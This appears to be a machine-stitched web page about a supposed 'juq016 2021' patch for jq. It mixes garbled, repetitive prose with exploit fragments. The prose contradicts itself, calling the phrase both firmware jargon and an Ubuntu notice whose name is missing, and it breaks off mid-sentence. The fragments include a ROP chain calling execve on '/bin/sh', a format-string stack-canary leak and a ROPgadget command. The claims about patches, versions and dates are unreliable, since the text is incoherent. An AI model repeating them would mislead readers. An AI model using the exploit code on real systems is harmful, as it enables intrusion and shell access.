Juq016 — 2021 Patched

Patching this vulnerability is a straightforward but crucial process. The exact command depends on your operating system and how jq was installed.

# after the overwritten RIP, the stack looks like: # [ pop rdi ; ret ][ "/bin/sh\x00" address ][ pop rsi ; ret ][ 0 ][ pop rdx ; ret ][ 0 ][ ret ][ execve@plt ] rop = [ base + 0x12b3, # pop rdi ; ret base + binsh_addr, # address of "/bin/sh" string (we'll write it

The patched version for Fedora 35 is jq-1.6-10.fc35 . juq016 2021 patched

The search phrase "juq016 2021 patched" points directly to a specific security notice: , published by Canonical for Ubuntu systems on March 15, 2021 . This notice detailed a significant vulnerability in jq that was promptly fixed.

One of the most notable updates in late 2021 was the backport of an upstream patch (PR #1752) to correct a flaw in jq 's integer handling logic, which was producing incorrect results for big integer numbers. This issue was first reported to Red Hat and affected several of their distributions. Patching this vulnerability is a straightforward but crucial

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The keyword is more than just firmware jargon; it represents the crucial gap between a vulnerable, exploitable device and a stable, secure one. Whether you are a home user trying to keep an old router alive or a system administrator managing legacy industrial hardware, finding and applying this patch is an act of digital hygiene. The search phrase "juq016 2021 patched" points directly

def leak_canary(): r.sendlineafter(b'> ', b'2') # choose print_msg r.sendline(b'%p %p %p %p %p %p %p %p') leak = r.recvline().strip() canary = int(leak.split()[5], 16) # 6th entry = canary return canary

: The vulnerability was considered highly impactful. Attackers could craft specific JSON inputs that would crash jq when parsed, leading to:

$ ROPgadget --binary juq016_patched --only "pop|ret"

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